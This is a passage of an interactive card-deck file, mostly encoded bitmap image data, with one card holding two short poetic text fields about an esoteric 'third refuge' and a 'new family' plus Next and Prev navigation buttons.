tv2btO62zdmzbe//////////3/////9////////////////////LWyZts3bc+////////////////////722t27W5t9pmvZtrTP///////////////99/////////f//////////ekls7b2aTb/////////////////////327Vrdt3JNmszJm2b//////////97////9////////////////////7ekmzbN6SZn////////////////////3nttt22bO5bNm7bSzb///////////////f/////////////////////kBtt29iczff////////////////////vt2527aszJlMzZtnX//////////+9////fv////////////////7f/wAFk27KZmZf/////////////////////vtprs2zSaTJkST22/////////////9///v///////////////////+WTPPupzMzS/////////////////////+7v7ty3MwzLMybNvv/////////+/f//9/v/////////////////+//83MtszGZmbP/////////////////////7tTbWkyySSZmyd9t//////////+////9/////////////////////oybZ3FIxMy0//////////////////////93XZtjAsjRESTb/b/////////+///7//////////////////////+t7dtMTiZmzL/////////////////////97ablmWwmEzI2/t7/////////+/f/////////////////////////823bSZIpImt//////////////////////7s6ZJSRkSiKgzf2/////////////v///////////////////////t7fdJIhiZkif//////////////////////72xpmRkkkiMn9v3//////////3////7/////////////////////Ns7Y2TFJM29///////////////////////MzLKTBIkmQ23+3f/////////33/3/3//////////9//////////Q27LgUJWYs3///////////////////////dmyImJJIITBNt/ff////////3/////////////////////////+4AZ2/kyP7t2////////////////////bbd/8zbSSiIogMm/27f///////////9///////////////////////7OxjfsjO///7//////////////////2bb9371kREKIICwmbf7f/////////+/////////////////////////94nbMsoG99////////////////////taWzf/9mTUwkYUBEbdv7/////////9/////////////////////////+0EZu/psd39///////////////////aybbs39tORDEQREESbu2f////////9/f/f//////////////////////vBZm9pC1/f//////////////////t9iat7/b9syUMQQEQI2v33////////9/////////////////f////////6hk2V/XP+/f////////////////+/2W273t/JpGxQJQwBIk7Xuf/////////f///////////////f/////////oKzdt+e9/////////////////3t7bZGf//ydrcklIAhkAAnfu9/////////9//////////////////////////Jtk72/9/////////////////f//9ks897LZbZkySSgASRMav5/////////b///////////////////////////E3Lv//////////////////9/7/bSb27/azZW3hJIBJABAztnN///////////////////////////////////7fZO+/3//+/////////////d//7dJtu7syjb3fNkkxEEkCDXfZ9//////////////////////////////////8v9237fvvd7//////////99/+2/szm+9syWS/9/aSRAQAQEFZ2N+///////e//////////////////////////ym2Xf9+/f+/////////////v/7ajLf9201b1vnZpIkhJBEGzm5//f/////+//////////////////////9///nvs1t39/fb7/////////+//vvvJMk3f9Jmk3eff2yiCAEEALezP/f/////3//////////////////////////5Nt233f+//v/////////3/dv++SRTf+5ksqS7d83aJMLYQCARvZ3///////3//////////////////////N//9lts7f++/u+/3v/////7v39/35JJNNuym5yurf39t5EyBlIITM7n/7////////////////////////////////LLaztv+/e9+3//////v//393Zkkyb+mZNzGsybNuTJDOWQQQJz9739////9//////////////////////3f//pptt7+3/999///////f/9/9/pDJDLpmRt0Eb3ZuYYLMkRIAAAGzn39////////////////////////////f//zDWW3t//b////////3/779t5iSJM22kTbsyVt2SZQzOxCAiAAITM/7///////////////////////////8///9OVZbf37/////////f/739+zDJJJzRJm3ogk2iZIW3ehCJCBAAE3m7//////f/////////////////////7//+WW225v/3////////f73/95rMSSTPmkm2bIkpOk2yZb9CAABBAAyc/7b///+//////////////////////Pv//ZMqbW+7////////////+7pkkySbYGLbm5JhJsmzKt7l6BCAABBAhm3///////////////////////////+f//ymm03b///////////+976JBCCSQjZMnvtCFJTvvu2b3zkCCAQBAiM/b//////////////////////////79//6sNN23vf/7///////+/7EzJMskkiFm+bMaYTbOs32bdvdQABBIAgIl/t/////////////////////////////5k5ssnf/7///////+9/aYSJIgkkks3Z5JIhiT/f9n2Z89sgkEApAAE2/3///////////////////AA////////HLLa3///39//////9+0xkiSEhBJSzViSImG3Wdd/mzt7KiAZbIEAAj7fv/////////////////+AAB///////dM7Nt//+3///////f9kxEmSMREAkEECSZJbWd+95v3NveMthIIQAACG2///////////////////gAEP/////9zVzad////3//////fvUhJISEEgiAkSZCBJmt7u7b7n1OdckmYwQAAAG373/////////////////gAEQ/////t3vfe9///dv//////fvZkpImUIiiJAEASGLO22u27bvnN+3doYAQAAAANnv/////////////////gAIBH///9////////94Az/////fvShJIkRIgBAEkSQSKYhIIESTbe6W7dvgoAAAAAAne/////////////////wEgmE///97+7ff//230ADP///+/veJJIRAABESQCEkyJAgAkUkSTZ7pt27MiQAAAAANt+////////////////4STJMn////v77///s/IAQ5///9/vSIIQxEiEEQSIIiCRGJZkRN2CXm2m27dySAAAAAAm2////////////////8BJNmk///+/ezv/+oAIBRDf//79vECYRCACYIEQiRgsRCZzt/tu2Af3Zu23fSMAAAAABN/////////////3//+AAzLNL///703f+QgMCSSEf//77/MSQQUbJIIIEiTBgxKL3bs7s8gmndm22Z2kQAAAAAM2////////////////ACDLNM//+3vc3/tsZZAAIT//377YkkQhAJGAJICSBFAgmbbbzt9gi/tjdt7m0EgCAAAYb7///////////97//lIKQ2af///c5zbYkTNEgAg3/3/37IAQiGQQJISMAkkUiAS23Pb1sI1u6Nt2+9wCCCIAQEn///////////977/wSy0Tbb//U5jNnvoWYwABCl937fbJkikYCRkkSAGSCIABCW+27Nsonbbm7bZtvIICAJQA3b//////////////zJGT2m2f81rtIyKfe4AACEk3/38/yESAwmEAQSEMIMIszEU07be9Ie7dsbbtts+kyEZAAN/////////////e9wI02k2y38yIZzBNIMgEAEJFjdvb7GBJEgIEQggEwAgAABCQl223bZJrbbGbbbbzdDsQAAB7d///////////f/2yRM2lnu/opxjMkUkAAAEQkGd++vdSIkkgkliAkACAEAASAgG27duSe27ZbZbbPZkAAAAA/9////////////vfkAA2smU2+zDDIiSSAAgEBCYb72+dE4AATEIEJkEIAQBCAWmIE222yJ2zbO322+2+TAAAAP7/////////////fkyJM9t13t9MpMkktCQQEAEgibm99YgQkgEAgQBAgkABAAQN8gEWbe7W3bK2bbbbZsMgAAB/////////////9/tgAExtns9tyyTREkQgQAAkiCbftnbIQgAhIABBAiAABAkggnyEU20zZtzY27ttttuwgIAA/9////////////7uAEAHbKM3/3vjNMkgiGAgBAACdvfaBIhAgCBMhAgQBEAgAlJP8AAT3btnbNu23bb7fFIEBP/////////////v/MUhEZtt9tv8+ESMogAggEAACbfdshCAAQJJIACAQCAQAIAEmz/sAm27e2js3bbbLc8QACB/////////////O7bALMjTGk/+33lbM8hkSQAQASGdbbSEIIQIAAEQMAEAhJAIELNtu8hrZtu6N2222+2z5YCA/////////////AP8kACKXNO7d/fOIH9hAEYAAASMZ278BRISQJIRAgMAAgAAAAAG2rN7M32s2d2ze2zbfuxgAP////////////AECQUAAibNr9295y3d8RGQAIASAzOzS2DAAFYACAiABBAhAgSGTNvdrd2Wb2Vm3023e1s/GgTv///////////gQAQAQACLOW3/7zWNt5JEqEgASGCZv3siDM0BCCAiCEBAAACQAEdmbabM09Nxu3n9t23b08JA////////////6BAkABAACeZfbvudsiZgAmQTAAEMjM22yBIEKAICQAAABIAIAREjNusbN3220u2ut223vN7kgn///////////+AAAAAAAAS7l9u+bEJADJJRNACRAmb27sGCsCEQQIEwAgAIggAAidmaefaNbYbdttnt3uZtuLD///////////+BAAIAACAAmb39IYJMUkARiEgABFACO7t8SICAERAAAAAiQhAICBBmac6Z922lVtdut2sAmyYI3///////////kAAAAAAAAmZvJEAwCQkSRKDIBAARGY7doAAqUkASBAIAgAABAkETts9rb1mbLbb7b927CC5GSn///////////wAAAQAAACA2eoEYBTIMggJEoLEAgEBt1MYCSECAQBAABAAIIBAABHkQmWrOclu7LdlptiIsUYL///////////5IAAAAAAAJGZiSA4AAIIiZESQgAAAGJzZAmAEAEgAAAARCAAAAAEDBZLbbduyCzfW3vtwAWwBw3//////////7AgAAAAAAAE32EIhKSYBggSNBTAICkJnuYACQkEAEgQQACEAAIgAbfr9u3buyCPdattbYSN+iPH//////////viQAAAAAAAIGZEQgEIAICSZIyUkgACEWbIhAAgAAEAAQAIACEgggAWrTa2btQgJ2AN93cgCUiY///////////eyBAAAAAAAAsykIBBCECCQSRiIyBAQkRrSBEEFAAAAAAAAAAAAACQG7Xbc7Z0gQUIFpudKQtEA7+////////d95GAAAAAAAAAmAIlMEEAIkyZMiksABBEm3JAAAEAAABAIECAAAAAEYrW2c7bshRAAgbs9IAIMc/3////////f39gIAAAAAAABMVpIAIQICCQyRiZAgAEESW0CAAACAAAAAgAAAEIIQAmbra924lAGAABH0IAIAJ9f///////++/bgggAAAAAAABhCRiIikYCImZkltiAAQElrCAAQkEAAAQBAACEQIBGdbmu52xBCAIESFMYS32Ib9///////977/smAAAAAAAABIgBCIgBAQimSpGSSMAAImm9AAQAAQAAAAAAEAAAAEJuW6zsgRCCgkSAAQSQAJfb3///3//t3vm9gZAAAAAAAABraJAAREkEJabMpJMAgJALZyQQAAAAAAAAAAAAAAAGqZp3YiQSCJCCAGAAkghN/vf/93/9v/e33JhEAAAAAAABAAolNhAQEEkxYm2SIAAEktyAQAAAAAAAAAAAAAAIm7232wAACEhEKAYImQFmYbe////97/a97vaMQIAAAAAAAFSQIQGSRBCTTSZJZIkBISSbAAAAAAAAAAAAAAAAAOrW7WyEAQkmASAwggEEEp597//7t3t27nu3ZRIAAAAAABJSEYBISxBEtm+Zkw0EAABJIAAAAAAAAAAAAAAAAABtatmgEEBEgKCABDDM0gkBn////v/d3+/d3ZMAAAAAAAAACEAWAAAAACWi23bZUIgEg2SAAAACAAAAAAAAAAAANbtWAAAAEJEqTZECIAmhQGI3v/fbd2053W7YySCAAAAAAIkIQJSRISJJnubMzEogATCSICAAEAAAAAAAAAAAAN7XYAAAAAIUCQACSCEEbG4Yi+/9/du732ezTEgEIAAAAAABIghABAkgmmd8+zMiSABEmTICAAAAAAAAAAAAAANbdYAAAASIREQgKASQUwWBhahP/y2+2tb+3WckgAAAAAAABECCCSCQBIO527e5JMgEgEWYkIkgCAAAAAAAAAAN57AAAACBt/8QhgEAhgAQMGBmR/vvtt92mm2zIABAAAAIAAAQIIEIhkAEz++2zJkyAQkkzAQAgIIAAAAAAAAANrSAAAHIA3ayABCQKiDMSA5OEzH22u21u++22ZpAAAAAIAAAlAwQQiBJAPd9//aTJMgAJjAADBYgAAAAAAAAAJuYAAAAMhLamEUACoAIISbBsZDZfbbbds1p217CACAAAIAAAAFCRBEIIEk93226ZM0iAJEgCIAACAACAAAAAAJs4AAADIbEwEEQSEBUgiCRMLZsTPt3d1t3fm3maQAAAAQQAAAISQiEQgADb6b/7yzTIACJSSASIQCAACJIAAQj7AAAAAeQBQEEAAEBEBAYkQwf52a7223b25e2ublAkSIhQAAAAgRCCABEAP5gm3mTNNgAIkgAAAkEIAkIAkAECRAAAAIAAAEAAIJEICJEBk7DSf+z/t27bNr1ts+m0CAICQAAAAAgMCEIEQi/3bf+222SAAQmQQhAQAkgQAAJEIBAAAAQQAAAAAgQQIAkAkB78Gd7//222282bdtg/JIIgIiJAEAAAgEgQQACd7dtt2zLJABBJJBCEgEAAgAAiEpmAgEgRBAAACQCRAoShIgZnb+X3//7bs2z7btbJldkwiQmIEkAAACECBEiEX37b//ttmkiCJIkEIAAgBAgkCArW5CAAgACSCIAQAECdtECJvf//f//dtt23Nu2baXTaTIBMQIEgAAAAIIEAISPb/tu23WaSACTZIQEQAgBCAQAgQhECJAiQAIgyREIQZ3ZIo3+3f9/3/bbdt92zbbZPJkRmIxAkhAAABAQgJACe/2/+/9dkoACCJIgEBBAAEBBEhCmASAECBEQjAAEQAhLbIjbb/e3/v/7bZtllNN202+0zEJiEBJAAAAAACIASB7f7N+39mayAEKQAAACAEgCAEACAJAEQJEEAAEAiESmYz5Pd7t+/vf//bbtubkSTabppmRJMgRJAAAAAAIIBBGX9v///b9syIQSTQQEgAICAAAYABAQkQgEQkJASCIzNZznc23+2+//9/bbbb7sTNspvmszJJEhJCSQAAAAQJEkZb+3///tm2wgAEkgkCAAEBEkAkAARAAhIBmQEksBmtm3ud2/b+99/v97bbbGzS22zP/ZmabMSJSABJAAABAASS3t/////vMzASEiSAAIAABEAEEAAQEEgQCFhICwlMze7b7329m939vv/bbbe3MzNpJttMyZYkJSEkAEAAACAgIzf////bu92tAEJIIIAACBAJAEJEQgQARAJIgkttZ3Zttnvnb/9/f//v22222c2tszP6Z2STISSSEzIAABAAAim9///+//rsySAISwgkASBAAAIJEQiCJEEgJjAR5tt3t23a3vtt79v3fm222270zZzNv7U2eRkSRJCCAAAAAACIz/////9vu2YAARBCERAAABAggAIgIIEYASRFlLu7mbb7b7u//7v/f/9s2222nnZsmbe52ZzEyyQkmIAAAAAABmtv/////fcyyAASQIBCSQAAAJJIhAQBAkiZkEaZJMzZm73v27b+7937s22tt2OzbzLd7s2yZCiJJEQIAEAAABAm3////5992SIIgzQkAABIhAQABkERLMkCSm5zZkxmTWaWdnr/377/379ts23dmTNmb3e2bimmSJNEQAIAAAABErb///3n3t0kICSFAAEwAAEBLJMYQSZtMm7LnW3TM2Zs0zPO2Xb3+//Jtt7ZnW292avfd9maWSZJMhEQgAAAAEmtv//3NPe20QAAmEiAACRIEmABokzbNt2zOe27f927m33Ntt+7vd7uftra3mdszb77//m20lmRLJJERAAAAAAESe///Zu95pkAEkKQIIIJAIabbKSzWdNNve5u22z27fdvfbt27+93u6bba2f7tnbnXv/vtmemUSbJAAkAAAAAERJv/+3q33mswAJaJAggkiQptptlt2bdc223s223O31tt/fv//3///+5rb25mrOW3f///vu5tMzSZJkiAAAAAABGG///bN/fZgAIAyJDBCSBDWbXW0z+tp7W2b22289Xu9ze/bs3d+73322m3mzNs3e3///bmnYmGZIhJAAAAAAEEZN//9s39nNiAaSYEEEtmFZ7dNr7k7bbtt7Nttr13u57+7fv/99//2Xba2fndM22/////e/LM2bZJJEAAAAAAAAk3//7tvudEEQQhYSRS2ZTma+2rt3Za2229ttvPbtv72/+/dv9/f9sttm5Ozbczc2//+91uckmRJJMQAAAAAAADLf//v/e7ZQQSmBmJNplnc7pt7Ntb21ttzbbbe7tub3827d+/+/927bWrtmbM217////3/ZsubZJIgAAAAAAAEIt///t9+zlgSIaGay23a12ntndtu23ttnbbbbrbb+3t///77u/v9ZbdubWya83bt////9/ts2jSbIgAAAAAAAAi3////23aSAAg02zJ5rrdfNubba22ttv3227vdvm/v8227vv//u1zb2Ztmzplbb3////7bNW2TYZCAAAAAAAAEJ//////ZpKRKRmf/m22s1tt7Nttttt7nW3bte+ftvN/f7+/3d/LTW2fmm2WttbPb/////dttyRyUIAAAAAAAESl///v272yAARk8k2bVs7bbTe2223bbu29tt659vff99v3//99+t225ObM1Zq2c/////+/a2mzGQQIAAAAAAACLf//v37tSEJEhi9z2tt5ttvbbbbbbbbu1u3bt27d/b3+3dt3/+azmra1s21rOby2/////9ts2s0hIJAAAAAAAIpv//3/7c0AEiGpvm25t22222229u23M97bbd7b/zfvb/9///eZrOszmTZrbc2Pt7//////3kzkyAIEAAAAAAAinv3/93szJBAYTa21Zs3Ntu222ze22f5zdu1tv2v++/tv77t/7m0tzW7NmpTWc23v/////fPnNkpIQQAAAAAABLM3///e9ICEglZtt376dts2223Ztt9Pvba3be3u277f+73v3ubT1Nlm2bbWc2zNbf//////O3MyARAAAAAAABElv//v95zYICEy1s2bM7bb22m23ttt8627ttt3v//f9t7/f//ZnNZmmTZlay2bNzdv////7fvdkbSEAAAAAAABGMv//v3rIwIJCZt65927bNtu22bb7bzuzdu/ttm2d3/37/27+2ZrNttmzSms03Lbe//////c3MwEiAAAAAAACMIT/3//bsiQgEkrbvltm29tstt7bbbPc3Ztpu73vf3bffu3/6ZrKZlm2bO202zO2Ztv////9+dqYmBAAAAAAAIJJt//3/baBBIk7Nsfbu2zbb22227bc123tvt7vu/f/99+/3f9ubbNNJs2Vlstszbt/////79/YykEAAAAAAAAISn///22ZIAAhJe3ZtNtvbbNtt27bb3drbbb2277du3339v/W5bWZttmTdms0zWm7Zv////925yZEIAAAAAABIQJf/3/+7UgjBIybft9ds229ttnt22ts23Ntt3bn/+/ffd+7/72WbLLbdktptrM7Tbu//////72xkIIAAAAABAAg1//997bJCERJZmZrZt22zbbut23bu7be29ne/bb99997/3/ba2bNJk25nMs2zWWt7f/////s2TIIAAAAAAAACDX///32JEARIzW3ubtttvbbO7a3dttttttvu57/t333/+/rfumbbbWzJtZtzNW6bW/////7d05IQEAAAAAAEAENf/fvebCQACSZubbbbts229ts223d22227u9z2//ffd2++/e82TLZttpnNNs2m7Nzb///793zyRIAAAAAAEAACV//v9+aAQiESs7e3bNt22zd2227Zttttrtt/35s999399b/12baTkzbOdZmytWe33v////+vLJAgAAAAAAAACLN///2ZmACESZm22bdtttvZtu2znttttu3ds3n9733/v/1vvZszbNrJZpbNNtmZrXe///+766SSAAAAAAQAAAGN//+/dGIIEIlO2t7bbbts3s223ObbbbbbZ7/fb/vfe+7sbe7mzW1u2zmyZs1O7m237////vr2SIAAAAAAAAAATN/++9dAgAIkZm9m27bNt2b7dt77bbbbdv7s9/t+9977/pd/bNmTJTbNbbrZczPW2Xv//9+/WWQgAAAAAAAAADNv///7WCAgRJG1u2zbdtt7Ns2zO22222227729n733v7yT/dtm3vXltk2bN522W19+//777dslCEAAAAAAAAACa///baYABBIZlbtvbbbbm927bc2233bbtzuvb/fvf+/1KLf2tmTbOTOyZaTmzbnWz7///v/smQEIgAAAAAAASZt///2xkAEiRltm2227bOzXbt31ttndttn2+/b8+93+3Ey3trW3Ks7M27Teanmmc7v3///bbtJkAgAAAAAAAARW9/222SAASJDKfbW2zbdvdtm2bttvbb3ft2ze3773d/wTTfvNmazW7UzbU5uW3227f////3tkgEAQAAAAAAAhTN///25IAACJJpNttvbbc2zdt7tt7bbtZt3v+/fvv9/8gVtuem23MzN2TmzZtnGdz93v/3fbbJIRAAAAAAAACSN///umwQIkIjG22222252vZtm3bbbbt3t9uz99++7+7CxTvbPmZbmak7OtZm2u9nz3//v9/ZpAhEAAAAAAAAIzb//++bAAggSMbNtbbbbts3tu3bbbbtud57/n3377974BJO+2O5zO7u20sz7NrpO3v37//2/jLCAAAAAAAACQmZv//95IiBCRI0ss21ttbt2bbtu2223a937m/fffv338ES0z3czzbMlsztujs3Pttu3v///6fIMZCAAAAAAABITbf//32gBECSSTZszbbbNt7bNu2223b22bfb999+3f9ARDXNnWTzN3M2tM2ntcbdt/ve/e/9bQwEAAAAAkAiEmZ9//fbJEASJIsJM2tbO9bm29tttttu3d+93v333/97wAEk9uc9nbNNszbV2M15tbU/f//+3aWCQAAAAAARCJKTT//+7skAAEEgyZMySeZ7O2zbdtttu2327beffe233sESSjbzs2Xa2ZnLNl7bW2bd7fffv/e08JAgAAAQBECImfb//72YEEkSFCRMlu1trdtvbZttt7e7Pdu9999//ffAAJMbPM5tXNpua2tmttbbbu+9///+2hSEggAAAkASZSY3v//3ZkABCJEiQMiWW7bds23t7bbc9+127333229/QAgRyc3Ztmc3ptmbazTm22u773v+++uSIAAAAIASiRFkzf///ukAEEBCCJYiE7bbZt22bbbt2923v3vfff/728ACTC22dzOzpNmc5ZtvO227bNvf+99sygkIEAARCKSSWbtv/++5BAQVCIQhEmm223t227bbu29u3s3e999tvv7AAAEmc5TNnO53Zzz0y7m23d++/3//92mAIIAEBGIkmosre//9pkBBACExCEEMzbbbbtu2227tu/P3t732/++3w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[251,58],&#34;pos&#34;:[247,215],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my third refuge was the esoteric.\n\nbones and black candles, ram&#39;s horns and spirals and song.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[211,19],&#34;pos&#34;:[285,279],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my new family taught me this.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card5}&#xA;image:&#34;%%IMG0AgABVtu0z5bZ2m06yZk20825tttmbW5ttk2plaWZr/990/////////7b///3//////+aCTb///////////9/+d3///8kzkm2ZjNrTtuziTmzTk0mm2WVpMmyqlIspkf/73f///////v///////////7/wqRbn/////////+3/9/3f///bWNsqTKlmsUybO2mZnNptNk7dZpNpkpKyiRb/vtsn///////////7////////8iSSf///f////9+//v2/////5s5kmmbnKS1bMQkls2ZqttlmkxbNkxRqBJJk//e2D//9////////+////////AkSQT///////////t/vbv///9ijLcWSVMlLIkzM1KZZjZJLMuzZaJTFCZkyif/99lf//////8////3f////3/yJSSyb//////////+39/P3///NuZps2Zs2YqzJMprMybFbZtkmSTNMYUSSSJv/720T/////////////f/////8pEkiZv///////////d2/////5SbCMyUjJJiTMyZrMy5OZJiNsyaGYxjURIkh//+5I//9////////+2//9f3//ZIkkztv/////////+/+//////LSeZUs2MklW1TJJNJiSazLJJmQmZkSEySlJP/97o/////3//////u/8OP5//xikkid///////////7/9/////aWRbUyk0yZUjMmZ0ZmbMjanNEWWQMyyCSJMv//26b///////////+//jj////OJJI3Pb/////7/////9/////ySXSTTMzNpkmIyTDZmYmWiTNZmYNYiCMkxIp//vbI3/////////////zzv////xJLy+3/////7////3//////+2kmSmUzMiSZzFkdJSSzMmVJJmEskskkkzJhP/+9Yb/////////////88b////7JI/t7f/////////////////kmmUmTJJKZpmckxSVmSMllTKScyIYlkkgiFb//7aQz///////////+////+f/wJJb9n//////////////////0kNs0mMyZImSRpmTZmUxNmTKZkjNhpEkkyZR///bJI///////////3P93/9v/+SST//7/////////////////9tZElM1ZTWYZmEkzTJkzMkqTQmMkGRJIkhBCX/9bYk///////////PPAc//3//cSSOe/v/////////////////JNZMZFJmSYy2ZZmWbmkpJmSUpMyZZSRkkmSX//+3IB/////////93zBPP/////ySA07////7/////////////5YTMycqKSCSRJkk0yJMyZkWQpklpkxJEJISk//72Qpf//////5/v/byAz/////ySWHn/////n/////////////TaZGZqZm2czWSZlmbMkZZkTpKJGCSSRJJkkv//n7JB////////fv/sLM/v///+SQbP///////v////////9//SUzMSJZMgwySZhkkyYkwxkwjJtsbMiTJJCRLf/+mgSP/f/n////f/wkFH/////kkg7P///v/v////////////60yZmZTImkkykmBrGTMjSTJjLECSSmSCSSJJ//7+zCZ/z////////xMTM/////4kmT//////v////////////+krjGTSbMpZmmYrJM2UmU5JNKNNMzISSRJIiX//lsGQfsx/////3/3FhYH////+kkS////3//f////////////MomZEToZhhkkpiJzEzMyyzZSZMyyUkkkkkyX///ZyEx/8/39v///946WJ/////Mlm/////b//v/////9t/f//5plhmyGyLLJlmVJjMiMikjDLTKLAxYySSJBE3/77kki/9ul//v//+vPJ5P////wkkX/////////////+/2////DNGSK0MZIZlMZEmSsyMk2GSGaYlmRhJJIM03//rbBE///h//z//+B5z/j/9//7JJF////+/+9//////tvu5//WRZZsnYzSxFJkkZWJmZEkaTMyVlMbBEkkwxH//+1sk3//9P/9/9+Jfef/P///+JNMf///7/v7//////f/vv3/yTDSRUJkKTZLMaxmdMzMsyskmWVJIlJIQTAk3//bSQn//5////f+CDz3/7////JLAj//////7/////////t9/+mOKZNqUy0jLJojKQZGKpiSzMWJLMySIhkMif//+7En//+//b/j9kOf8//////kyzHf//+///3///////7/1//mYyy4mZmEyaTKyKmycSFMzBM0mmJRiYmEwkm//7a0I///5/3/8fAxz3//////8fJEf//////fc///////vv//0lGSTJUkYliTJJqWSQyVIyWyEmSSTGQkJDJG///tmI/////6fuXhh8+////////2RP//////+////////e///9kc00ZkzSsmWmUjUUmkkjEyTMslmSYSRJMJMd//7cpH////8nzmDAPnj9v//////RIf/////++/////f9/9///JoixzSlkppUmZbEk2MyjMy0mpmU0xkhJIyQT//75pE////+T/7wxLw8P///////5KT//////87P///+9/3///5IskkTMixFkkkkmmIklLJkkyJMhAySSSQiTJt//ntCP////hN/5kQ+/j//3////+I///7///N/////7///+//9ZpUxyRKjNKtk2TMsnMxKE0zNZLMyZJJJEkI3//+ZZJ/9//6ceCHhP3+////////pe///f//d97/////9/////SRNnGzMmIZpEktEkkcjSZhmURMRUwiEkkkyTf//7ZEf+P/+TPwI6P//34///f//ZP///9//373////2//////yZYkUkSUpzFNskWNNhMCSmkzZZTEyySSJJCR///WzJRxw//j3+SeJ///////3//zP///////u/f////+//9v/+wzJlkzMlGNZJNSMZOU2kIpiEyWMikkkkkkmW//9zZBxZP/M//kHwf//////+P/4r////9//u9///7+3//////TCZmJiMtUySTMSZZIZCM0lm2SYZMkkkkSSyN///vkS/kk/zP/8l8f/7//7/+//8z///////793////3//////0sxJJmYkJjKbKazEyRmIkZSSMwyMzMJIkIhJ3//uWSM+Cf8P/+ZOT//f//e/3//m/n///7//97f///v+//+//8iyZmQRtZmWkmYiMSeGSZZk0skyYSMZJISkhPf/+9sRokv+T///Hg////43/3//8/z///7////////v///////MgySTGEjEyWSSSQkw4FRJmyxMyxsyQSElJKO///emRCCX/1vf/x8v////P////P/+///+//+f////8///////81kZkMpKZmktmZnMjBmUmSKJMiSCySSZERIpv//t7CBIh/9/z/8vD/e///////X/9////b///f////n//////9JEymSLMykkiWSmMqZGIyZsspKQ7AySBkjJCe///dmKBiE//5//Ds//P//////1/9/////////////////////MpKYs4ZSZltJMkIkxsMlikxJJmxGykmBKIUT9//fSSJAKP////8/v39////v/+f/f//v//f/3////////////5TMxiRjMklE2klNlSSksSZJNTEkWQkgZIiRTX///7cERQp/////P/5+////////9//////9////////v/////9NJGTMWImZNJLMkREpMgzRsyTJEgM0kgSSJE/ff++3SRFM//////98/////9//////////3/9/////////////YmcxExLMppMkkmZmSkliWSTJDNLMxJKSRIkj////75ASZn//////+f/////////+/////3///////////////5JIjSDKUyTJbSSYktKNMyZM2TJIZJkkSREmJ/v/3e+E2HP//////7J///////////////vv////////7/////+TKsksKTNZLJMpiySUoYyk0yTGKxMmSSEkQJf////2oTl///T//f/Y////////f/3////+//////////v/////KKYywyUsSzMwmSTNJEihmTJmSYk5JJIkiRkT/n//95hof//w/OR//////////////////7f////////9/////2qRlhmUyaTJTMTUmTNOLEtJEzJMyVkkkkkkTf/+//9Cev//9v7gP//////////////////9//////////////9GWUmkclMxJkYyUiJJIZNkzZCMYkZJIRhEkk///+/9wtl///P+CT//////////////b///////////////////kYpiZSZMzTKzJimsmKSRNDJkpZsypJlDMkkn//9//5j1f//hFkS/v///////9////////////////////////5TktlMpJJLIiMmkIyaSTJMkzTCRmZSEQgpJPf/////Btn//ZZ/3//////7/9/f///+//////////////n////tmFYSYybMyTWkZEzJESybJTRJKZERSYjuLJI9//7//2bp//2Df/H3/////////////7/////////////9/////SZJRjSZJSTEmZMmY2WCiZNJySy1LIwmD4SRP3////9rPv/+mv/9+/+f////v////////////////////f////5hqWmUwTM2KkyYshiIcmTYyiZGTKKyQS+WTx9//3/9/9//+YP/7///7////////9/+//v///////////7////8mISJClrIkZlkRpGUkhRGCjIk2UiSYlhPlz/93/3///z///HvH////+X//////////7/v///+3////////////ZZylmkmLMzFJyRMZGaRmaaM2SSyWQ3kl8cN//+/////v////1//////////9///////////1/////////////xBCmaTJLMqZJipSQsIzJIwwQMmlkkw/KfLh/+/v///////////////////37/////////t//3/////////////NZkoklKUoxLImlNJmyJmTHTS2RGmRn5n67Pv98//////8/9z9/////7/+//////////////vN////////////pSEk2zKTJmaS0SUZGEzKYcGMhNpJMl/22HOf97///f///3+fPP//////79/3//9/+//////3/////////////yIytQJI2NMYmRlpZZMzJiw2Y2kjJkoN7vlz5t75/t//+///n7///////7/+///9//7//////3////////////8alkMxiyZYyWTEmgxkiJGmIRErLKSJp+t5Ofn/77/f//H/v////z//////7////+///////83f//v/////////wJFYzLImTJZElJKyTMyZMYzUkkmZNCP53J3+f39tv//z/////////v///////7//////////v////////////1tJJiZJmYNkmzJkkpJkykxmJlSSSQSZtvaf35/f9/3/9/9+////9/////+T////////////8/7///////////8kTKExJMkyIaFLDMymJGaLMalMtiTkgPa/n///+////+////5//b/9/f////3//////v////7/////////////lJKcyZYmTJpsSWshIZMQsYwlIySkMmZ97+f/7X+/fv/7/13/f////3///73d//////v////v/7///////////0ZkwghTMsmSizRIJkxTWSRjVLJJIwkQO37l//tt////3/9f/////9f////97z////////////////////////9hDSsmSZkyZKKVlpjJJEZNMlKZmRjJEy72+P/77/+5////97////3c////23v//////////9//////////////mZMpZazMTJk0xLGTMymS0pSaTKTGBMTe9ft/t7f//////7/////9/////+7f////////////f////////////5JklEkiZZMLSTKJJITKaDJNoSJmYmQkT6+7f/6Zf////f+/n3/9v7////87/b///////b////////////////9MmVSZSxJk5MkaZmyZEicsyGWbERmZMSbn/PnP/3//////7v///+777f//23///////9b/////////////////SZJDJlmaLJS2whEDQ1WRhSZMRJSREk+Xff+/82P//////3////7/7/9////f//f////f/////////////////5JksmSUYYkzBJmZmGRMSGExkmTEhGSP9/v/P9tt//////+3////+//f///////3///+f/////////////////82LJmTJRTTImkkymYkoysazLKZM2skk3u2/f5t+9/////9v/////7//////7//+///////////////////////wYNJMmmWMsmZZkhBmZikyhIkiSRIkkEGP//j/5/f////9/v///+3//////7///3///3//+///////////////yzZJkySYyRZBkkzORJJmGWzTKZJJJksx///37Zn//////7//////b/////////++/7/////////////////